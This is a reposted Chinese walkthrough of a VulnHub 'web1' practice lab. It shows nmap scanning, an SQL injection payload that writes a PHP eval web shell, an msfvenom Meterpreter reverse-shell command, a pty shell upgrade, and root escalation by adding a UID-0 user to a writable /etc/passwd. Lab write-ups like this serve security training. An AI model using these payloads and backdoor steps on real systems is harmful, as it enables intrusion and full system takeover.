IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> vulnhub web1靶机练习 -> 正文阅读

[PHP知识库]vulnhub web1靶机练习

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、nmap收集

二、上传并获取shell

?三、提权

总结


前言

提示:这里可以添加本文要记录的大概内容:

国庆放假有点颓,去vulnhub下了个靶机玩玩。


提示:以下是本篇文章正文内容,下面案例可供参考

一、nmap收集

装好了靶机后,一如既往的不知道密码,要通过漏洞等入侵提权找到flag,先用nmap扫描一波吧。

nmap -A -v -sn 192.168.23.0/24

?显示靶机开放了80端口,linux系统,并且有robots.txt中提示有两个目录,直接访问两个/m3diNf0/、/se3reTdir777/uploads/目录发现都是403,猜测/se3reTdir777/uploads/应该是可以进行文件上传的,再访问了/se3reTdir777/目录,发现可以进行查询。

尝试了下sql注入,发现可以进行注入,union联合注入和报错注入都可以,可以直接上sqlmap。

?再对网站的目录进行扫描一波,看看有没有什么发现。

?发现还有个info.php,访问看看,显示的是phpinfo();并且里面显示了网站的绝对路径为/home/www/html/web1x443290o2sdf92213/。

?

二、上传并获取shell

爆出了两个表systemUser和User表,systemUser表中的password用的base64加密,解密后是?FakeUserPassw0rd、MyEvilPass_f908sdaf9_sa、N0tThis0neAls0,但是好像没啥用。前面目录中存在uploads,应该可以进行文件上传获取shell。

?感觉直接使用sqlmap的--file-write和--file-dest,或者直接手动进行上传都可以,能上传的地方应该是/se3reTdir777/uploads/,原理可以是通过into outfile将内容导入某个文件或Lines terminated by或Lines starting by语句将语句拼接到文件的终止位或起始位。当然要某些配置开启才可以。

  1. secure_file_priv="c:/…"被注释掉或者是web路径

  2. php.ini中的get_magic_quotes_gpc()函数未开启

    其中secure_file_priv有三种情况

    1. 空,表示导入导出没有任何限制
    2. 有指定路径,比如("c:/xxx/xxx"):只能向指定路径导入导出文件
    3. null,禁止导入导出

    在进行写入websell时,要注意参数secure_file_priv是否有指定路径或者是否为null。最好要获得root权限。

-1' union select 1,2,'<?php @eval($_POST[123]);?>' into outfile "/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/a.php"#

?或者通过sqlmap直接传也可以。

上传成功后,直接利用蚁剑进行连接,连接成功,为了更好的利用,利用metasploit再生成一个PHP后门,直接生成linux后门被权限限制了,所以生成PHP后门然后利用python反弹交互式shell。

msfvenom -p ?php/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.23.128 -f? raw>/root/shell.php,然后通蚁剑上传到目录,运行PHP文件,反弹shell成功。

?

但是此时的shell不是交互式的,很多命令都运行不了,因为缺少了前后文环境,利用python生成虚拟终端。

?python -c 'import pty; pty.spawn("/bin/bash")'

?pty(伪终端,虚拟终端):但是如果我们远程telnet到主机或使用xterm时不也需要一个终端交互么?是的,这就是虚拟终端pty(pseudo-tty).

pty.spawn('bin/bash')产生一个进程,并将其控制终端连接到bin/bash

?三、提权

获取到了终端后用户权限是www-data,权限比较低,需要提升权限,最好提升到root。

查看能否利用SUID的文件或者命令提权。

find / -user root -perm -4000 -exec ls -l {} \; 查找系统上SUID权限的文件

?会不会存在pkexec提权漏洞,但是好像并不行,于是查看了下/etc/passwd文件,发现可以编辑,于是尝试增加写入一个root权限的用户。

?先对密码进行openssl加密

-1表示使用md5加密,-salt表示自定义盐,生成一个hacker用户,密码为123456

?

生成一个hacker用户,可登录,UID属于0,root级别权限,使用shell为bin/bash,一般用户的密码用加密方式存放于/etc/shadow文件中。

文件规则:用户名:密码:用户ID(UID):组ID(GID):用户ID信息:主目录:shell

最后通过find命令查找得到flag。

?


总结

花了挺多的时间,因为靶机sql注入那里无端端岩机了,没发现,使用sqlmap写入文件获取shell的时候一直显示404Not found,利用wireshark也显示了404Not Found,自己挺郁闷的,最后重启了靶机才成功,这次也是重复搞了下sqlmap的一些使用,毕竟忘的差不多了。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-10-08 20:21:33  更:2022-10-08 20:21:57 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 12:06:42-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码